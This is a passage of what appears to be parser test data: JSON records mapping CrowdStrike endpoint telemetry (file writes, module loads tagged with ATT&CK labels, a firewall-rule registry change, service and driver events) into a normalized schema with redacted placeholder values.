"736782612c55c54fc" - }, - "device": { - "id": "3e64efce7e8a490b018d335f25b68760" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2b0434b299dc23d3e66d5af40855f712e176|3e64efce7e8a490b018d335f25b68760|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-43058-61586-47269\",\"ContextBaseFileName\":\"7b31c1d240b3d\",\"FileCategory\":\"1\",\"Size\":\"7000060\",\"ContextThreadId\":\"200084098009700\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\23579bbe\",\"id\":\"2b0434b299dc23d3e66d5af40855f712e176\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1760526628.961\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"356301901002\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"329\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"76\",\"name\":\"736782612c55c54fc\",\"OperationFlags\":\"0\",\"aid\":\"3e64efce7e8a490b018d335f25b68760\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\c86835dc\\\\21e\\\\00e1\\\\a686\\\\4e7075fa.tmp\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\b9e65ff8\\23579bbe", - "directory": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686", - "extension": "tmp", - "inode": "5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe", - "name": "4e7075fa.tmp", - "path": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp", - "size": 7000060, - "type": "file" - }, - "host": { - "id": "3e64efce7e8a490b018d335f25b68760", - "os": { - "type": "windows" - } - }, - "message": "ZipFileWritten", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "3e64efce7e8a490b018d335f25b68760", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "356301901002", - "name": "7b31c1d240b3d", - "thread": { - "id": 200084098009700 - } - }, - "related": { - "hash": [ - "9080101000" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "S-43058-61586-47269" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-43058-61586-47269" - } - }, - { - "@timestamp": "2025-09-15T08:47:27.906Z", - "crowdstrike": { - "Attacks": [ - { - "Tactic": "Defense Evasion", - "Technique": "Subvert Trust Controls" - } - ], - "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", - "ConfigStateHash": "3164437859", - "ContextProcessId": "617055030004", - "ContextTimeStamp": "2025-09-15T08:47:27.386Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "ImageSignatureLevel": "2", - "ImageSignatureType": "0", - "IsProcessInitializing": "0", - "LocalAddressIP4": [ - "81.2.69.142" - ], - "MappedFromUserMode": "1", - "ModuleCharacteristics": "8450", - "ModuleLoadTelemetryClassification": "256", - "ModuleSize": "40960", - "OriginalFilename": "redacted.dll", - "PrimaryModule": "0", - "SignInfoFlags": "932000", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b44b58becebd48898306ffd6600bf3f42c16", - "name": "ClassifiedModuleLoadV5" - }, - "device": { - "id": "827afde25ba0eeda5d204a68ff612048" - }, - "dll": { - "Ext": { - "size": 40960 - }, - "code_signature": { - "exists": false, - "trusted": false - }, - "hash": { - "md5": "9fd1131ff976c9a3212a1db685870aa1", - "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" - }, - "name": ".dll", - "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", - "pe": { - "original_file_name": "redacted.dll" - } - }, - "event": { - "action": "ClassifiedModuleLoad", - "category": [ - "library" - ], - "created": "2025-09-15T08:47:27.906Z", - "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ImageSignatureType\":\"0\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "type": [ - "start" - ] - }, - "host": { - "hostname": "redacted-computer-name", - "id": "827afde25ba0eeda5d204a68ff612048", - "name": "redacted-computer-name", - "os": { - "type": "windows" - } - }, - "message": "ClassifiedModuleLoad", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "827afde25ba0eeda5d204a68ff612048", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3542590006570", - "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", - "name": ".exe", - "thread": { - "id": 32005063951800 - } - }, - "related": { - "hash": [ - "9fd1131ff976c9a3212a1db685870aa1", - "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", - "3164437859" - ], - "hosts": [ - "redacted-computer-name" - ], - "ip": [ - "89.160.20.128", - "81.2.69.142" - ] - }, - "source": { - "address": "81.2.69.142", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Defense Evasion" - ] - }, - "technique": { - "name": [ - "Subvert Trust Controls" - ] - } - } - }, - { - "@timestamp": "2025-09-15T08:47:27.906Z", - "crowdstrike": { - "Attacks": [ - { - "Tactic": "Defense Evasion", - "Technique": "Subvert Trust Controls" - } - ], - "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", - "ConfigStateHash": "3164437859", - "ContextProcessId": "617055030004", - "ContextTimeStamp": "2025-09-15T08:47:27.386Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "ImageSignatureLevel": "0", - "ImageSignatureType": "1", - "IsProcessInitializing": "0", - "LocalAddressIP4": [ - "81.2.69.142" - ], - "MappedFromUserMode": "1", - "ModuleCharacteristics": "8450", - "ModuleLoadTelemetryClassification": "256", - "ModuleSize": "40960", - "OriginalFilename": "redacted.dll", - "PrimaryModule": "0", - "SignInfoFlags": "932000", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b44b58becebd48898306ffd6600bf3f42c16", - "name": "ClassifiedModuleLoadV5" - }, - "device": { - "id": "827afde25ba0eeda5d204a68ff612048" - }, - "dll": { - "Ext": { - "size": 40960 - }, - "code_signature": { - "exists": true, - "trusted": false - }, - "hash": { - "md5": "9fd1131ff976c9a3212a1db685870aa1", - "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" - }, - "name": ".dll", - "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", - "pe": { - "original_file_name": "redacted.dll" - } - }, - "event": { - "action": "ClassifiedModuleLoad", - "category": [ - "library" - ], - "created": "2025-09-15T08:47:27.906Z", - "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"0\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "type": [ - "start" - ] - }, - "host": { - "hostname": "redacted-computer-name", - "id": "827afde25ba0eeda5d204a68ff612048", - "name": "redacted-computer-name", - "os": { - "type": "windows" - } - }, - "message": "ClassifiedModuleLoad", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "827afde25ba0eeda5d204a68ff612048", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3542590006570", - "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", - "name": ".exe", - "thread": { - "id": 32005063951800 - } - }, - "related": { - "hash": [ - "9fd1131ff976c9a3212a1db685870aa1", - "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", - "3164437859" - ], - "hosts": [ - "redacted-computer-name" - ], - "ip": [ - "89.160.20.128", - "81.2.69.142" - ] - }, - "source": { - "address": "81.2.69.142", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Defense Evasion" - ] - }, - "technique": { - "name": [ - "Subvert Trust Controls" - ] - } - } - }, - { - "@timestamp": "2025-09-15T08:47:27.906Z", - "crowdstrike": { - "Attacks": [ - { - "Tactic": "Defense Evasion", - "Technique": "Subvert Trust Controls" - } - ], - "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", - "ConfigStateHash": "3164437859", - "ContextProcessId": "617055030004", - "ContextTimeStamp": "2025-09-15T08:47:27.386Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "ImageSignatureLevel": "2", - "ImageSignatureType": "1", - "IsProcessInitializing": "0", - "LocalAddressIP4": [ - "81.2.69.142" - ], - "MappedFromUserMode": "1", - "ModuleCharacteristics": "8450", - "ModuleLoadTelemetryClassification": "256", - "ModuleSize": "40960", - "OriginalFilename": "redacted.dll", - "PrimaryModule": "0", - "SignInfoFlags": "932000", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b44b58becebd48898306ffd6600bf3f42c16", - "name": "ClassifiedModuleLoadV5" - }, - "device": { - "id": "827afde25ba0eeda5d204a68ff612048" - }, - "dll": { - "Ext": { - "size": 40960 - }, - "code_signature": { - "exists": true, - "trusted": true - }, - "hash": { - "md5": "9fd1131ff976c9a3212a1db685870aa1", - "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" - }, - "name": ".dll", - "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", - "pe": { - "original_file_name": "redacted.dll" - } - }, - "event": { - "action": "ClassifiedModuleLoad", - "category": [ - "library" - ], - "created": "2025-09-15T08:47:27.906Z", - "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "type": [ - "start" - ] - }, - "host": { - "hostname": "redacted-computer-name", - "id": "827afde25ba0eeda5d204a68ff612048", - "name": "redacted-computer-name", - "os": { - "type": "windows" - } - }, - "message": "ClassifiedModuleLoad", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "827afde25ba0eeda5d204a68ff612048", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3542590006570", - "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", - "name": ".exe", - "thread": { - "id": 32005063951800 - } - }, - "related": { - "hash": [ - "9fd1131ff976c9a3212a1db685870aa1", - "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", - "3164437859" - ], - "hosts": [ - "redacted-computer-name" - ], - "ip": [ - "89.160.20.128", - "81.2.69.142" - ] - }, - "source": { - "address": "81.2.69.142", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Defense Evasion" - ] - }, - "technique": { - "name": [ - "Subvert Trust Controls" - ] - } - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "864", - "ConfigStateHash": "2080600092", - "ContextProcessId": "1007045000929", - "ContextTimeStamp": "2025-10-02T16:56:51.858Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "RegClassification": "334", - "RegClassificationFlags": "1", - "RegClassificationIndex": "718", - "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "RegOperationType": "1", - "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|", - "RegType": "1", - "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8f2302b7d2a07c5d5568941494e0368e0144", - "name": "24ba14f1e5840e900e581616a2fe" - }, - "device": { - "id": "be027d4cbada339f804f9c19f5a2d5a6" - }, - "event": { - "action": "modification", - "category": [ - "registry", - "host", - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "be027d4cbada339f804f9c19f5a2d5a6", - "os": { - "type": "windows" - } - }, - "message": "RegSystemConfigValueUpdate", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1007045000929", - "thread": { - "id": 700420809200030 - } - }, - "registry": { - "data": { - "strings": [ - "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|" - ], - "type": "REG_SZ" - }, - "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}" - }, - "related": { - "hash": [ - "2080600092" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-15T11:16:49.450Z", - "crowdstrike": { - "AuthenticationId": "333", - "ConfigStateHash": "00000000", - "ContextTimeStamp": "2025-09-15T11:16:48.880Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "17", - "InterfaceGuid": "12ABC-345-56D7-X", - "InterfaceVersion": "1111111", - "LocalAddressIP4": [ - "89.160.20.128" - ], - "RpcClientProcessId": "000000000000", - "RpcClientThreadId": "2222222222222", - "RpcNestingLevel": "0", - "RpcOpNum": "19", - "TokenType": "1", - "cid": "22222bbbbbbbbbbbbbdddddddddd1233", - "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc", - "name": "ServiceStartedV2" - }, - "device": { - "id": "11111aaaaaaaaaaaaacccccccccddddd" - }, - "event": { - "action": "ServiceStarted", - "category": [ - "process" - ], - "created": "2025-09-15T11:16:49.450Z", - "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233", - "kind": "event", - "original": "{\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"17\",\"InterfaceGuid\":\"12ABC-345-56D7-X\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaaaa-c6b5-499a-a494-cccccccccc\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757935009450\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1757935008.880\",\"UserName\":\"redacted-computer-name\",\"ConfigStateHash\":\"00000000\",\"InterfaceVersion\":\"1111111\",\"RpcClientThreadId\":\"2222222222222\",\"AuthenticationId\":\"333\",\"ServiceDisplayName\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\.exe\",\"TargetProcessId\":\"444444444444\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\Windows\\\\System32\\\\.exe\",\"RpcOpNum\":\"19\",\"Entitlements\":\"15\",\"name\":\"ServiceStartedV2\",\"ComputerName\":\"redacted-user-name\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"RpcNestingLevel\":\"0\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "hostname": "redacted-user-name", - "id": "11111aaaaaaaaaaaaacccccccccddddd", - "name": "redacted-user-name", - "os": { - "type": "windows" - } - }, - "message": "ServiceStarted", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "11111aaaaaaaaaaaaacccccccccddddd", - "version": "1007.3.0019907.15" - }, - "process": { - "args": [ - "C:\\Windows\\system32\\.exe" - ], - "args_count": 1, - "command_line": "C:\\Windows\\system32\\.exe", - "entity_id": "444444444444", - "executable": "\\Device\\Volume\\Windows\\System32\\.exe", - "name": ".exe", - "title": "" - }, - "related": { - "hash": [ - "00000000" - ], - "hosts": [ - "redacted-user-name" - ], - "ip": [ - "89.160.20.128" - ], - "user": [ - "redacted-computer-name" - ] - }, - "source": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "redacted-computer-name" - } - }, - { - "@timestamp": "2025-09-15T03:12:42.256Z", - "crowdstrike": { - "AuthenticodeHashData": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "AuthenticodeHashDataSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "CertificateIssuer": "Microsoft Windows Production PCA 2011", - "CertificatePublisher": "Microsoft Windows", - "CertificateSignatureHash": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", - "CertificateSignatureHashAlgorithm": "32780", - "CompanyName": "Microsoft Corporation", - "ConfigStateHash": "111111111", - "ContextProcessId": "000000000000", - "ContextTimeStamp": "2025-09-15T03:12:38.885Z", - "DriverLoadFlags": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "17", - "FileVersion": "4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)", - "FixedFileVersion": "4.18.25070.5", - "HashAlgorithm": "32780", - "ImageCheckSum": "123456", - "ImageEntryPoint": "94208", - "ImageTimeStamp": "2448850720", - "LocalAddressIP4": [ - "89.160.20.128" - ], - "OriginalFilename": "wdnisdrv.sys", - "RpcClientProcessId": "000000000000", - "RpcClientThreadId": "1908581779603", - "cid": "22222bbbbbbbbbbbbbdddddddddd1233", - "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb", - "name": "DriverLoadV6" - }, - "device": { - "id": "11111aaaaaaaaaaaaacccccccccddddd" - }, - "dll": { - "code_signature": { - "subject_name": "Microsoft Windows" - }, - "hash": { - "md5": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "sha256": "cccccccccccccccccccccccccccccccccccccccccccccccccccccc" - }, - "name": "WdNisDrv.sys", - "path": "\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys", - "pe": { - "original_file_name": "wdnisdrv.sys" - } - }, - "event": { - "action": "load", - "category": [ - 